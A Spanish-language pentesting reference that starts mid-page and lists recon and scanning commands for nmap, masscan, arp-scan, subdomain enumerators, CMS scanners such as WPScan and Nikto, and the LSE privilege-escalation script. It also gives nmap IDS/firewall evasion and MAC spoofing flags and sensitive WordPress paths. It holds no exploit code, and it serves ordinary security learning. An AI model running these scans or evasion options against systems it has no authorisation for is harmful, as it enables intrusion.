       TX errors 0 dropped overruns 0 carrier 0 collisions 0

 

DESGLOSE DE LOS COMPONENTES CLAVE DEL OUTPUT:

eth0: Este es el nombre de la interfaz de red. Ouede ser cualquier cadena, pero generalmente representa el tipo de interfaz (por ejemplo, eth0 pertenece a una interfaz de Ethernet, wlan0 pertenece a una interfaz inalámbrica, y lo pertenece a la interfaz loopback o localhost, que viene a ser la propia máquina).

flags=4163<UP,BROADCAST,RUNNING,MULTICAST>: Estas son las banderas de estado de la interfaz. Indican si la interfaz está activada (up) puede recibir y enviar datos (running), puede recibir y enviar paquetes de diifusión (broadcast) y si puede recibir y enviar paquetes de multidifusión (multicast).

mtu 1500: Esta es la Unidad Máxima de Transmisión, que es el tamaño máximo de los paquetes que pueden ser enviados a través de esta interfaz. Normalmente, este valor se establece en 1500 para las interfaces Ethernet.

inet 192.168.1.102 netmask 255.255.255.0 broadcast 192.168.1.255: Estos son los detalles de la dirección IP de la interfaz. La dirección IP es la dirección que identifica a la interfaz en la red. La máscara de red determina qué parte de la dirección IP se usa para identificar la red o cuál se usa para identificar la ubicación específica dentro de esa red. La dirección de difusión es la dirección que se utiliza para enviar un mensaje a todos los dispositivos de la red.

inet6 fe80::a00:27ff:fe4e:66a1 prefixlen 64 scopeid 0x20<link>: Estos son los detalles de la dirección IPv6 de la interfaz.

ether 08:00:27:4e:66:a1: Esta es la dirección física (tambien conocida como dirección MAC o HWaddr) de la interfaz. Se utiliza para identificar de forma única la tarjeta de red en la red.

Las estadísticas de RX y TX proporcionan información sobre los paquetes que la interfaz ha recibido (RX) y enviado (TX). Esto incluye el número total de paquetes, el número de bytes transmitidos, y el número de erroresque han ocurrido durante la transmisión o recepción de paquetes.

Reminder:

Usar sudo si no se es root

Modificar dirección IP de interfaz de red:

ifconfig eth0 192.168.1.14 (ejemplo)

Modificar dirección IP, máscara de red y broadcast :

ifconfig eth0 10.0.2.16 netmask 255.255.0.0 broadcast 10.255.255.250
 

Modificar dirección MAC para spoofing:

ifconfig eth0 down

ifconfig eth0 hw ether 00:11:22:33:44:55 (ejemplo)

ifconfig eth0 up

Modificar dirección IP de interfaz de red:

sudo ifconfig eth0 (ip nueva)

 🖥️​ VER IPs DESDE TERMINAL

🟧 Ver IP PRIVADA (LAN):
hostname -I | awk '{print $1}'
ifconfig | grep -A 1 "eth0" | grep inet | awk '{print$2}'
alias ip-private='hostname -I | awk '\''{print $1}'\'

🟥 Ver IP PÚBLICA (INTERNET):
curl -s ifconfig.me
curl ifconfig.me/ip

alias ip-public='curl -s ifconfig.me'

🟦 Ver IP de DOCKER:
ifconfig | grep -A 1 "docker" | grep inet | awk '{print$2}'
alias ip-docker='ifconfig | grep -A 1 "docker" | grep inet | awk '{print$2}'\'

🟨 Ver IP OVPN:
ifconfig | grep -A 1 "tun0" | grep inet | awk '{print$2}'
alias ip-ovpn='ifconfig | grep -A 1 "tun0" | grep inet | awk '{print$2}'\'

🟪 Ver IP LOCALHOST:
ifconfig | grep -A 1 "lo:" | grep inet | awk '{print$2}'
alias ip-localhost='ifconfig | grep -A 1 "lo:" | grep inet | awk '{print$2}'\'

ver ips desde terminal
nmap

 👁️ NMAP

Nmap, que significa Network Mapper, es una herramienta de línea de comandos de Linux de código abierto que se utiliza para escanear direcciones IP y puertos en una red y detectar aplicaciones instaladas. Fue creada por Gordon Lyon (conocido como Fyodor) para ayudar a mapear redes completas fácilmente y encontrar sus puertos y servicios abiertos.

Pulsar [
enter] durante el escaneo nos reportará por consola el porcentaje del proceso en ejecución (un escaneo puede constar de varios procesos).

Algunas capacidades de nmap requieren privilegios de
superusuario, o bien arroja mejores resultados cuando se hace uso de ésta capacidad, como por ejemplo, cuando se escanea los equipos de una red.

 
🌐 Nmap online port scanner
 
Instalación:
sudo apt-get install nmap

Escaneo básico:
nmap 192.168.1.1

Escaneo específico en una red local:
sudo nmap --top-ports 500 -sS -sC -sV -n -v -T3 192.168.1.1 -oN nmap_scan.txt

Escaneo específico para un servidor web (puerto 80):
sudo nmap -p80 -sS -sC -sV -n -v -T3 10.100.100.10

Escaneo específico para una máquina externa:
sudo nmap --top-ports 500 -sS -sC -sV -n -v -T3 10.100.100.10

Escaneo específico para una máquina externa buscando vulnerabilidades conocidas:
sudo nmap --top-ports 500 -sS -sC -sV -n -v -T3 --script="vuln10.100.100.10

Escaneo por todos los puertos posibles a una velocidad de 1000 paquetes/segundo, detectando versión:
sudo nmap -p- --min-rate 1000 -sV 10.100.100.10

PARÁMETROS BÁSICOS:
-p-                             (Escanea todos los puertos posibles)
-p22                          (Escanea el puerto especificado)
-p22,23,24               (Escanea los puertos especificados)
-p1-1000                  (Escanea el rango de puertos especificado)
--top-ports 5000     (Escanea los X puertos más usados, según prioridad de uso en lista predefinida)
-n                               (Omite la resolución DNS. Mejora la velocidad del escaneo)
-T0 a -T5                  (Definir la agresividad del escaneo, siendo 0 el valor de menor frecuencia y 5 el de mayor frecuencia)
                                           
0=Paranoico      1=Sigiloso      2=Amable      3=Normal      4=Agresivo      5=Loco
--min-rate 5000      (Frecuencia mínima de escaneo a 5000 paquetes por segundo. Garantiza un escaneo preciso)
-sS        (Este escaneo de puertos no completa el proceso de handshake TCP. Más rápido pero menos sigiloso que -sT)
-sT        (Trata de imitar el handshake TCP. Más lento pero más sigiloso que -sS)
-sU        (Sondeo UDP. No establece conexión antes de enviar datos. Puede ser lento. Puede combinarse con -sS)
-Pn        (Interpreta todas las direcciones IP como "activas". Ralentiza el escaneo, pero puede resolver resultados ambiguos)
-sV        (Detecta las versiones de los servicios. Mejora los resultados de -O)
-O         (Detección del sistemas operativos. Parecido a -sV)
-f          (Envía paquetes fragmentados. Agiliza el escaneo y puede confundir al receptor)
-A         (Realiza un escaneo agresivo. Versión del servicio, sistema operativo, rutas de seguimiento y scripts NSE)
-v          (Incrementa la verbosidad del output. Permite ver el proceso del escaneo)
-vvv      (Incrementa mucho la verbosidad del output)
-oN [tracefile]         (Guarda los resultados del escaneo en el archivo/ruta especificados)
________________________________________________________________________________________________
 
USO DE SCRIPTS:
-sC                                                            (Ejecuta una selección de scripts .nse para obtener resultados más detallados)
--script [script]                                         (Ejecuta el script .nse indicado)
--script="categoría"                                  (Ejecuta los scripts .nse de la categoría indicada)
--script="categoría1 and categoría2"        (Ejecuta los scripts .nse de las categorías indicadas)
 
LISTAR SCRIPTS DE NMAP (hay más de 600):
locate .nse

CATEGORÍAS DE SCRIPTS:
auth                    broadcast               brute                    default                    discovery                dos                     exploit
external             fuzzer                       intrusive              malware                 safe                         version               
vuln

EJEMPLO DE USO:
--script="vuln"                                             (Busca vulnerabilidades conocidas. Este script hace bastante "ruido")

🌐 Nmap script list
🌐 Nmap scripting engine (nse)
________________________________________________________________________________________________
 
PARÁMETROS PARA EVADIR O ENGAÑAR FIREWALLS / IDS / IPS:
-f                                     (Envía paquetes fragmentados. Agiliza el escaneo y puede confundir al receptor)
--mtu []                        (Envía paquetes fragmentados indicando el tamaño, que debe ser múltiplo de 8. Agiliza el escaneo)
-D [IP],[IP],[IP]                  (Decoys o señuelos. Permite incorporar más direcciones IP a la petición SYN para camuflar la IP verdadera)
-S [IP]                              (Falsear la IP de origen con otra)
--spoof-mac [MAC]        (Falsear la MAC de oregen por otra. Se puede poner directamente un MAC vendor. Ej: Intel)
--source-port []           (Especificar puerto de salida. Si no se especifica, la salida se realiza por un puerto aleatorio entre 1 y 65.535)
--data-length []          (Manipular tamaño del paquete enviado. Puede confundir al receptor)
 

nmap scripts

👁️ NMAP SCRIPTS EN LUA

🌐 LUA Script Writing Tutorial

Ejemplo de script para nmap en LUA (.nse):

-- HEAD --

description = [[
Script de ejemplo que enumera y reporta puertos abiertos por TCP
]]

-- RULE --


portrule = function(host, port)
     return port.protocol == "tcp"
        and
port.state == "open"
end

-- ACTION --

action = function(host, port)
     return "This port is Open!"
end



Ejemplo de ejecución del script con nmap por los puertos 22 y 80 a la IP del router:
nmap --script /ruta/.../example.nse -p22,80 192.168.1.1
 

arp-scan

 🔌 ARP-SCAN

El comando arp-scan es una herramienta de línea de comandos que utiliza el protocolo ARP (Address Resolution Protocol) para descubrir y huella digitalizar hosts IP en la red local. Está disponible para Linux y BSD bajo la licencia GPL. Este comando requiere privilegios de superusuario para ejecutarse correctamente.

arp-scan envía paquetes de solicitud ARP a los hosts especificados y muestra las respuestas recibidas. Puedes especificar la interfaz de red con la opción
--interface. Si no se especifica ninguna interfaz, arp-scan seleccionará la interfaz con el número más bajo, configurada y activa (excluyendo la interfaz de bucle local). Utiliza sockets en bruto, lo que requiere privilegios en algunos sistemas. Aunque el protocolo ARP utiliza direcciones IPv4, no es un protocolo IP y arp-scan puede usarse en interfaces sin una dirección IPv4.

 
Instalación:
sudo apt install arp-scan

Escaneo de la red local:
sudo arp-scan -I eth0 --localnet

Escaneo específico en rango de direcciones IP en la red local:
sudo arp-scan --interface=eth0 192.168.1.1/24

PARÁMETROS:
-I [net]                               (Interfaz de red para el escaneo. Si no se especifica, se usa la interfaz con el número más bajo y configurada)
--localnet                        (Realiza un escaneo en la red local)
--ignoredups                  (Ignorar duplicados)
--retry []                        (Número de reintentos para cada solicitud ARP. Si un host no responde, la solicitud se reenviará una vez más)
--bandwidth []            (Ancho de banda. El valor predeterminado es 256000 bits por segundo)
--interval []                  (Intervalo entre paquetes ARP enviados)
--timeout []                 (Tiempo de espera para las respuestas ARP)
--quiet                             (Reduce el tiempo de espera y el tiempo de carga de la lista de objetivos y archivos de mapeo MAC/Vendor)

netdiscover

 🔌 NETDISCOVER

Netdiscover es una herramienta de reconocimiento de direcciones activa/pasiva, principalmente desarrollada para redes inalámbricas sin servidor DHCP, como cuando se realiza wardriving. También puede ser utilizada en redes con hubs o switches. Construida sobre libnet y libpcap, Netdiscover puede detectar pasivamente hosts en línea o buscarlos activamente mediante el envío de solicitudes ARP. Además, puede inspeccionar el tráfico ARP de la red o encontrar direcciones de red utilizando el modo de escaneo automático, que escaneará redes locales comunes. Netdiscover utiliza la tabla OUI para mostrar el proveedor de cada dirección MAC descubierta y es muy útil para chequeos de seguridad o en pruebas de penetración.

 
Instalación:
sudo apt install netdiscover

Escaneo de la red local:
netdiscover -i eth0

Escaneo en modo activo por un rango de IP:
netdiscover -r 192.168.1.0/24

Esc
aneo en modo pasivo por un rango de IP:
netdiscover -p -r 192.168.1.0/24

PARÁMETROS:
-i [net]                        (Especifica el dispositivo de red a utilizar)
-r [rango de IP]          (Escanea un rango específico de direcciones IP en lugar de realizar un escaneo automático)
-l [IP_list]                  (Escanea una lista de rangos de direcciones IP contenidos en un archivo dado)
-p                               (Modo pasivo, no envía nada, solo escucha)
-m [MAC_list]          (Escanea una lista de direcciones MAC y nombres de host conocidos)
-f                               (Habilita el escaneo en modo rápido, ahorra mucho tiempo, recomendado para auto)
-F                               (Personaliza la expresión de filtro pcap. Por defecto: "arp")
-s [milisecs]              (Tiempo de sueño entre cada solicitud ARP en milisegundos)
-c []                         (Número de veces a enviar cada solicitud ARP. Para redes con pérdida de paquetes)
-n []                        (Último octeto de IP fuente utilizado para el escaneo de 2 a 253)
-d                               (Ignora los archivos de configuración de inicio para el escaneo automático y el modo rápido)
-P                               (Imprime los resultados en un formato adecuado para ser analizado por otro programa y se detiene después del escaneo activo)
-L                               (Similar a -P pero continúa escuchando después de completar el escaneo activo)
-N                              (No imprime el encabezado. Solo válido cuando -P o -L está habilitado)
-S                               (Habilita la supresión del tiempo de sueño entre cada solicitud. Modo hardcore)

NOTA: Si no se habilitan -r, -l o -p, Netdiscover escaneará direcciones LAN comunes

masscan

 🔥 MASSCAN

Masscan es un potente escáner de puertos TCP que transmite paquetes SYN de manera asincrónica y produce resultados similares a Nmap. Internamente, opera de manera más parecida a scanrand, unicornscan y ZMap, utilizando transmisión asincrónica. Es una utilidad flexible que permite rangos arbitrarios de direcciones y puertos. Masscan está diseñado para la escalabilidad a nivel de "C10M", es decir, puede escanear hasta 10 millones de direcciones IP simultáneamente (es capaz de escanear la totalidad de Internet en menos de 5 minutos). Utiliza técnicas como el controlador PF_RING DNA para transmitir paquetes directamente desde la memoria del usuario al controlador de red sin la intervención del kernel, lo que permite una transmisión de paquetes a la máxima velocidad permitida por el hardware. Además, Masscan tiene su propia pila TCP incorporada para capturar banners de conexiones TCP, lo que facilita el soporte para 10 millones de conexiones TCP concurrentes, suponiendo que la computadora tenga suficiente memoria. Para evitar conflictos con la pila TCP/IP local, Masscan utiliza su propia pila TCP/IP ad hoc, lo que significa que cualquier cosa más que escaneos de puertos simples puede causar conflictos con la pila TCP/IP local. Esto requiere el uso de la opción --src-ip para ejecutarlo desde una dirección IP diferente o usar --src-port para configurar los puertos de origen que Masscan utiliza, y luego configurar el firewall interno (como pf o iptables) para bloquear esos puertos desde el resto del sistema operativo.


🌐 https://github.com/robertdavidgraham/masscan
 
AVISO: Masscan puede hacer caer un router doméstico escaneando la red

Descargar:
git clone https://github.com/robertdavidgraham/masscan

Instalar desde su directorio:
pip install -r requirements.txt

Escaneo ligero por puertos comunes en el rango de IP local, detectando software y mostrando ordenado el 6º argumento:
sudo masscan -p22,80,443,445 192.168.1.0/24 --banners --rate 100 | sort -k6
 
Escaneo más agresivo:
sudo masscan -p20,21,22,23,53,80,119,123,135,139,443,445,8080 -Pn 192.168.1.0/24 --rate 100 | sort -k6

PARÁMETROS:
-p [ports]                   (Puertos. Desde uno solo, a varios separados por coma, o un rango de puertos)
--rate []                  (Velocidad de transmisión de paquetes. Es importante ajustar este parámetro para evitar sobrecargar la red o ser
                                            detectado por sistemas de detección. Por encima de 1.000 hace demasiado ruido)
-Pn                             (Tratar todos los hosts como si estuviesen en línea)
-oL [tracefile]             (Guardar output en archivo)
--src-ip [IP]                (Especificar IP del escaneo)
-Pn [rango de ip]         (Especificar un rango de IP)
-- banners                 (Captura banners de los servicios que responden en los puertos escaneados. Esto puede ser útil para identificar el
                                             software que se está ejecutando en los puertos abiertos)

whatweb

 🌐 WHATWEB

WhatWeb es una herramienta pasiva de escaneo de sitios web de código abierto y gratuita escrita en el lenguaje Ruby. Se utiliza principalmente en sistemas operativos Linux y tiene como objetivo identificar tecnologías web en sitios web, incluyendo sistemas de gestión de contenido (CMS Content Management System), plataformas de blogs, paquetes de estadísticas/análisis, bibliotecas de JavaScript, servidores web y dispositivos integrados. Además, WhatWeb puede identificar direcciones de correo electrónico, identificadores de cuenta, módulos de marcos de trabajo web, errores SQL y mucho más. La herramienta cuenta con más de 900 plugins, cada uno diseñado para reconocer algo diferente, lo que la hace extremadamente versátil para la recopilación de información sobre sitios web.


🌐 https://www.whatweb.net  (Versión Online)

Instalar desde el directorio /ctfr:
sudo apt install whatweb

Ejemplo de escaneo básico:
whatweb https://sf01web.wixsite.com/sf01

[200 OK] Content-Language[en], Cookies[TS016e3841,TS019d44a7,XSRF-TOKEN,_wixAB3|daed01f6-daf7-4d02-af69-dba33640919c,hs,ssr-caching,svSession], Country[UNITED STATES][US], Email[605a7baede844d278b89dc95ae0a9123@sentry-next.wixpress.com,8eb368c655b84e029ed79ad7a5c1718e@sentry.wixpress.com,sf01ghost@gmail.com], HTML5, HttpOnly[hs,svSession], IP[34.117.***.***], MetaGenerator[Wix.com Website Builder], Open-Graph-Protocol[website], Script[application/json,text/javascript,wix/htmlEmbeds], Strict-Transport-Security[max-age=86400], Title[Home | SF01], UncommonHeaders[link,x-wix-request-id,x-seen-by,server-timing,x-content-type-options,glb-x-seen-by,alt-svc], Via-Proxy[1.1 google], Wix, X-UA-Compatible[IE=edge]

Ejemplo de escaneo detallado guardando output en archivo, sin colores:
whatweb -v --color=never -a 3 https://sf01web.wixsite.com/sf01 >> wwscan.txt

PARÁMETROS:
-v                                (Proporciona un informe más detallado y completo)
-a []                          (Nivel de agresividad. 1 -Stealthy, 2 -Unused, 3 -Agressive, 4 -Heavy )
--color=auto              (Color en el output. always, never, auto)
-t []                          (Número de hilos simultáneos. Por defecto 25)
-U                               (Cambia el agente de usuario para evitar detección por IDS)
-h                                (Mostrar Help)
 

ctfr

 👩‍🏫 CTFR

CTFR es una herramienta pasiva, gratuita y de código abierto, diseñada para el reconocimiento de subdominios, la recopilación de información del objetivo, y la búsqueda de subdominios de sitios web HTTPS. Esta herramienta es especialmente útil para investigadores de seguridad que buscan encontrar subdominios de un sitio web o aplicación web HTTPS, una tarea que puede ser muy difícil debido a la naturaleza segura de los sitios HTTPS. CTFR está escrita en Python, lo que significa que necesitas tener Python instalado en tu sistema para poder utilizarla. Además, la herramienta viene con una interfaz de usuario amigable, lo que facilita su uso incluso para usuarios sin experiencia previa en programación.


🌐 https://github.com/UnaPibaGeek/ctfr

Descargar:
git clone https://github.com/UnaPibaGeek/ctfr

Instalar desde el directorio /ctfr:
pip install -r requirements.txt

Ejecutar escaneo de subdominios desde el directorio /ctfr:
python ctfr.py -d [web.com]

Ejecutar escaneo de subdominios desde el directorio /ctfr guardando el output en ruta dada:
python ctfr.py -d [web.com] -o /user/home/escaneo.txt

PARÁMETROS:
-d [url]                  (dominio)
-o [tracefile]          (guardar output en ruta/archivo)

sublist3r

 📋 SUBLIST3R

Sublist3r es una herramienta pasiva de código abierto escrita en Python diseñada para descubrir y enumerar subdominios de sitios web utilizando técnicas de OSINT (Open Source Intelligence). Esta herramienta combina tanto técnicas pasivas como activas para encontrar subdominios. Las técnicas pasivas incluyen el raspado de conjuntos de datos de subdominios comunes y los resultados de los motores de búsqueda. Para la enumeración activa, Sublist3r utiliza ataques de diccionario de fuerza bruta. Su objetivo es agregar datos de subdominios de diversas fuentes públicas y mediante fuerza bruta para crear una lista completa de subdominios para un dominio dado 14.

Sublist3r es capaz de descubrir subdominios rápidamente aprovechando las APIs de motores de búsqueda, Pastebin, Threat Intelligence, entre otros. También cuenta con un módulo de
fuerza bruta poderoso para permutaciones y combinaciones recursivas de subdominios. Además, realiza escaneo de puertos en los subdominios descubiertos para descubrir servicios en ejecución. Ofrece configuraciones personalizables para hilos y valores de tiempo de espera, múltiples formatos de salida como CSV, JSON, TEXT, y filtros y conmutadores para excluir resultados irrelevantes. Su uso es simple y flexible, adecuado tanto para profesionales como para principiantes en la enumeración de subdominios.


🌐 https://github.com/aboul3la/Sublist3r
🌐 https://www.kali.org/tools/sublist3r/

Descargar:
git clone https://github.com/aboul3la/Sublist3r

1- Instalar desde su directorio:
sudo python3 setup.py install

2- Instalar desde su directorio:
sudo pip3 install -r requirements.txt

Ejecutar escaneo básico de subdominios:
python3 sublist3r.py -d google.com

Ejecutar escaneo de subdominios, ordenando resultados por orden alfabético y guardando en archivo:
python3 sublist3r.py -d wixsite.com -n  | sort -o dominios.txt

PARÁMETROS:
-d [url]                                   (Especifica el nombre del dominio para enumerar sus subdominios)
-b                                          (Habilita el módulo de fuerza bruta subbrute)
-p [port]                                (Escanea los subdominios encontrados contra los puertos TCP especificados)
-v                                          (Verbose - Muestra resultados en tiempo real)
-t []                                    (Número de hilos a utilizar para la fuerza bruta de subbrute)
-e [google,bing,yandex]         (Especifica una lista separada por comas de motores de búsqueda)
-o [tracefile]                          (Guarda los resultados en el archivo indicado)
-n                                          (Output sin color)

 🖥️ SS

El comando ss en Linux es una herramienta de línea de comandos diseñada para investigar sockets y proporcionar estadísticas detalladas sobre ellos. Es considerada una alternativa moderna y más potente a herramientas clásicas como netstat, ofreciendo una visión más rápida y completa de las conexiones de red establecidas en un sistema. ss puede mostrar estadísticas para diversos tipos de sockets, incluyendo TCP, UDP, DCCP, RAW, y Unix, lo que permite a los administradores de sistemas monitorear y analizar las conexiones activas en tiempo real con gran detalle.


Mostrar TODAS las conexiones actuales en el host:
ss

Mostrar info más útil:
ss -tuln

Mostrar todas las conexiones de socket con un puerto de origen o destino de SSH (puerto 22):
ss -at '( dport = :22 or sport = :22 )'

FILTRAR POR PARÁMETROS:
-l                             (Listar únicamente los sockets que están escuchando)
-p                            (Mostrar los PID de los procesos asociados a las conexiones de red)
-s                            (Mostrar estadísticas resumidas de todos los sockets)
-t                            (Filtrar solo los sockets TCP)
-u                            (Filtrar solo los sockets UDP)
-d                            (Mostrar detalles adicionales sobre los sockets)
-i                             (Mostrar información sobre las interfaces de red)
-n                            (Evita la traducción de direcciones numéricas a nombres de host y números de puerto a nombres de servicio)
-v                            (Aumenta el nivel de verbosidad de la salida)
-w                           (Aumenta aún más el nivel de verbosidad de la salida)

ss

 Ⓜ️​ WPSCAN (WordPress Scan)

WPScan es una herramienta de seguridad diseñada específicamente para escanear sitios web que utilizan WordPress. Es una herramienta muy popular en la comunidad de seguridad y es utilizada tanto por profesionales de la seguridad como por administradores de sitios web para identificar vulnerabilidades en sus instalaciones de WordPress.

 

Recurso para pruebas en Docker:

🌐 https://github.com/vavkamil/dvwp


Uso básico:
wpscan --url [url]

Enumeración de usuarios:
wpscan --url [url] --enumerate u

Enumeración de plugins:
wpscan --url [url] --enumerate p

Enumeración de TODOS los plugins:
wpscan --url [url] --enumerate ap

Enumeración de temas:
wpscan --url [url] --enumerate t
 
Enumeración de TODOS los temas:
wpscan --url [url] --enumerate at
 
Enumeración de backups de configuración:
wpscan --url [url] --enumerate cb

Detección de plugins vulnerables:
wpscan --url [url] --enumerate vp

WPScan puede utilizar una API Token para obtener la información más actualizada sobre vulnerabilidades:
(Puedes obtener una API token registrándote en WPScan)

wpscan --url [url] --api-token [tu_API_token]

____________________________________________________________________________________________

BÚSQUEDAS Y RUTAS comunes de subdominios WordPress:

Escaneos específicos de subdominios con Gobuster:
gobuster dir -u http://ejemplo.com -w /usr/share/dirb/wordlists/common.txt -x php,html,txt -o escaneo.txt
gobuster dir -u http://ejemplo.com -w SecLists/Discovery/DNS/subdomains-top1million-110000.txt -x php,html,txt -o escaneo.txt

Búsqueda de plugins en código fuente con Curl:
​curl -s -X GET "https://ejemplo.com" | grep -oP 'plugins/\K[^/]+'

Panel de Administración:
/wp-admin
/wp-admin/admin-ajax.php
/wp-admin/admin-post.php

/wp-admin/customize.php
/wp-admin/edit.php
/wp-admin/options-general.php
/wp-admin/plugins.php
/wp-admin/post-new.php
/wp-admin//user-new.php
/wp-admin/users.php
/wp-admin/upload.php

Inicio de Sesión:
/wp-login.php

Usuarios:
/author
/author=1
/author=2
/author/[usuario]

Lectura, feeds y comentarios:
/feed
/comments/feed
/author/[usuario]/feed
/wp-comments-post.php

Contenido cargado:
/wp-content
/wp-content/plugins
/wp-content/themes
/wp-content/uploads


Archivos de funciones de WordPress:
/wp-includes
/wp-includes/js
/wp-includes/css

/wp-config.php
/wp-cron.php

REST API de WordPress:
/wp-json
/wp-json/wp/v2

Archivo para llamadas remotas (si existe, se puede explotar para sacar credenciales válidas):

/xmlrpc.php
 

wpscan

 ✨ JOOMSCAN

JoomScan es una herramienta de seguridad diseñada específicamente para evaluar y detectar vulnerabilidades en sitios web que utilizan el CMS Joomla. Es parte de las herramientas ofrecidas en Kali Linux y es muy útil tanto para administradores de sistemas como para pentesters. Aunque JoomScan es muy efectivo para detectar vulnerabilidades conocidas, puede no identificar vulnerabilidades personalizadas o nuevas que aún no estén en la base de datos. Es recomendable complementarlo con otras herramientas de análisis y técnicas manuales de pentesting.


   JoomScan proporcionará un informe detallado que incluye:
- La versión de Joomla detectada
- Vulnerabilidades conocidas asociadas con esa versión
- Vulnerabilidades en plugins y extensiones
- Recomendaciones para mitigar las vulnerabilidades encontradas

 
Recurso para pruebas en Docker:
🌐 https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2015-8562

INSTALACIÓN:
sudo apt-get install joomscan

SINTAXIS:
joomscan --url [URL]

EJEMPLO:
joomscan --url http://ejemplo.com

PARÁMETROS:
--url                             (Especificar la URL del sitio Joomla a escanear)
-ec                                (Excluir la comprobación de componentes en el escaneo)
-et                                (Excluir la comprobación de plantillas en el escaneo)
-em                              (Excluir la comprobación de módulos en el escaneo)
-es                                (Excluir la comprobación de idiomas en el escaneo)
-r [archivo.html]         (Generar informe detallado del escaneo en formato HTML)
-v                                  (Mostrar la versión de Joomscan instalada)
-h                                 (Mostrar ayuda y lista de parámetros)

joomscan

 🧙‍♂️​ MAGESCAN

Magescan es una herramienta de escaneo específica para sitios web que utilizan la plataforma de comercio electrónico Magento. Su principal objetivo es realizar una evaluación de seguridad y obtener información sobre la configuración de Magento, identificando posibles vulnerabilidades y configuraciones incorrectas.

  Magescan puede revelar:
- La versión específica de Magento que está siendo utilizada
- Los módulos y extensiones instalados en el sitio de Magento, identificando aquellos desactualizados o vulnerables
- Configuraciones comunes que pueden ser explotadas
- Los parches de seguridad más recientes que han sido aplicados a la instalación
- La configuración SSL del sitio, asegurando que las conexiones sean seguras y que no existan vulnerabilidades conocidas


Recurso para pruebas en Docker:
🌐 https://github.com/vulhub/vulhub/tree/master/magento/2.2-sqli
 
NOTA: Puede ser necesario tener PHP y Composer instalados en el sistema

DESCARGA:
git clone https://github.com/steverobbins/magescan

INSTALACIÓN:
pip install -r requirements.txt

SINTAXIS:
magescan scan:all [URL]

php magescan.phar scan:all [URL]

EJEMPLO:
magescan scan:all http://ejemplo.com --output=json > resultados.json

PARÁMETROS:
scan:all                                      (Escaneo completo)
scan:version                              (Escanear versiones)
scan:modules                            (Escanear módulos)
scan:patches                            (Escanear parches y actualizaciones)
scan:security                             (Escanear escanear configuración de seguridad)
scan:ssl                                         (Escanear configuración SSL del sitio)

--output [formato]                    (Especificar formato de salida de los resultados. json, xml, txt...)

--help                                            (Mostrar ayuda)

magescan
droopscan

 💧​ DROOPSCAN  (DRUPAL - Open Source CMS)

Droopscan es una herramienta especializada utilizada para identificar versiones CMS, plugins, themes y posibles vulnerabilidades en sistemas basados en CMS (Content Management System), especialmente en Drupal pero tambinén otros servicios.

  Droopscan puede escanear los siguientes servicios:
- Drupal
- WordPress
- Joomla
- Moodle
- SilverStripe


Recurso para pruebas en Docker:
🌐 https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600

DESCARGA:
git clone https://github.com/SamJoan/droopescan

INSTALACIÓN:
pip install -r requirements.txt

SINTAXIS:
droopscan scan drupal --url [URL]

EJEMPLO:
droopscan scan drupal --url http://ejemplo.com

PARÁMETROS:
--url                             (Especificar la URL del sitio Joomla a escanear)
-e                                 (Solicitar enumeración completa)
-p                                 (Escanea y enumera los plugins instalados)
-t                                 (Escanea y enumera los themes instalados)
-v                                 (Detecta la versión del CMS instalado)
scan [servicio]            (Indicar servicio a escanear. Además de Drupal, también WordPress, Joomla, Moodle y SilverStripe)
 

 👽​ NIKTO

Nikto es una herramienta de escaneo de servidores web que se utiliza para identificar problemas de seguridad y vulnerabilidades en servidores web. Es una herramienta de código abierto y está escrita en Perl.

  Nikto realiza una revisión completa de un servidor web en busca de múltiples problemas, incluidos:
- Archivos y scripts peligrosos
- Versiones desactualizadas de software
- Problemas de configuración del servidor
- Vulnerabilidades conocidas
- Pruebas de denegación de servicio (DoS)


  Además, entre sus servicios y utilidades:
- Utiliza una base de datos de firmas con más de 6400 comprobaciones para detectar posibles problemas de seguridad
-
La base de datos de firmas y las capacidades del programa se actualizan regularmente
- Es compatible con HTTP, HTTPS, HTTPd, HTTPs y servidores con SSL/TLS
- Proporciona detalles completos de los problemas encontrados
- Permite la adición de nuevas firmas y personalización de las existentes
- Puede trabajar a través de proxies y utilizar credenciales para acceder a áreas protegidas de un servidor web


INSTALACIÓN:
sudo apt-get install nikto

 

ACTUALIZAR BASE DE DATOS NIKTO:

sudo nikto -update

 

MOSTRAR VERSIÓN:

sudo nikto -version


SINTAXIS:
nikto -h [IP_URL] -p [puerto]

EJEMPLO servidor HTTP por un puerto dado:
nikto -h http://ejemplo.com -p 8080

EJEMPLO servidor HTTPS por un puerto dado:
nikto -h https://ejemplo.com -p 8080

PARÁMETROS:
-h [IP_URL]                                          (Indicar host)
-p [puerto]                                            (Indicar puerto)
-userproxy http://proxy:8080            (Establecer proxy)
-id [usuario]:[contraseña                 (Especificar usuario y contraseña del host)
-o [archivo] -F [extensión]                  (Especificar archivo de salida, nombre y formato. Ej: texto.txt y txt)
-lists-plugins                                          (Listar plugins disponibles)
-timeout []                                          (Establecer tiempo máximo de espera en segundos para la conexión)
-useragent [useragent]                        (Definir la cadena de agente de usuario personalizada para las solicitudes HTTP)
-v                                                             (Aumentar la verbosidad del escaneo)

-e [email]                                                (Especifica correo electrónico para el informe)
-ask [yes/no/auto]                                (Controla la interacción con el usuario)
-dbcheck                                                 (Verifica la base de datos de Nikto en busca de errores)

-display [1/2]                                         (1 para mostrar todos los detalles, y 2 para mostrar solo las vulnerabilidades encontradas)

-findonly                                                 (Encontrar solo archivos y directorios, no realiza más pruebas)

-format [csv/htm/json                       (Establece el formato de salida del informe)

-ignore [IP                                            (Ignorar en el escaneo el host:puerto especificado)

-nolookup                                              (Evitar resolución de nombres DNS)


 

nikto
lse

 🐧​ LINUX SMART ENUMERATION (LSE)

LSE (Linux Smart Enumeration) es un Script en Bash diseñado para facilitar la enumeración en sistemas Linux, especialmente útil para tareas de escalada de privilegios. Esta herramienta es parte del ecosistema de herramientas usadas en pentesting, centrada en hacer una enumeración eficiente y detallada, con el propósito de identificar configuraciones incorrectas y posibles vectores de ataque que un pentester podría aprovechar.

 

Se centra en áreas críticas como:

- Permisos y configuraciones inseguras en archivos y directorios.
- Configuración de sudo y otros comandos de privilegio.
- Servicios mal configurados que puedan permitir la escalada de privilegios.


🌐 https://github.com/diego-treitos/linux-smart-enumeration

RAW PARA COPIAR Y CREAR ARCHIVO lse.sh:
https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh

OTORGAR PERMISOS DE EJECUCIÓN:
chmod +x lse.sh 

chmod 775 lse.sh

EJECUTAR BASH SCRIPT:
./lse.sh

PARÁMETROS:
-l []                           (Ajustar verbosidad del script. (default), 1 o 2 para baja, media o alta)
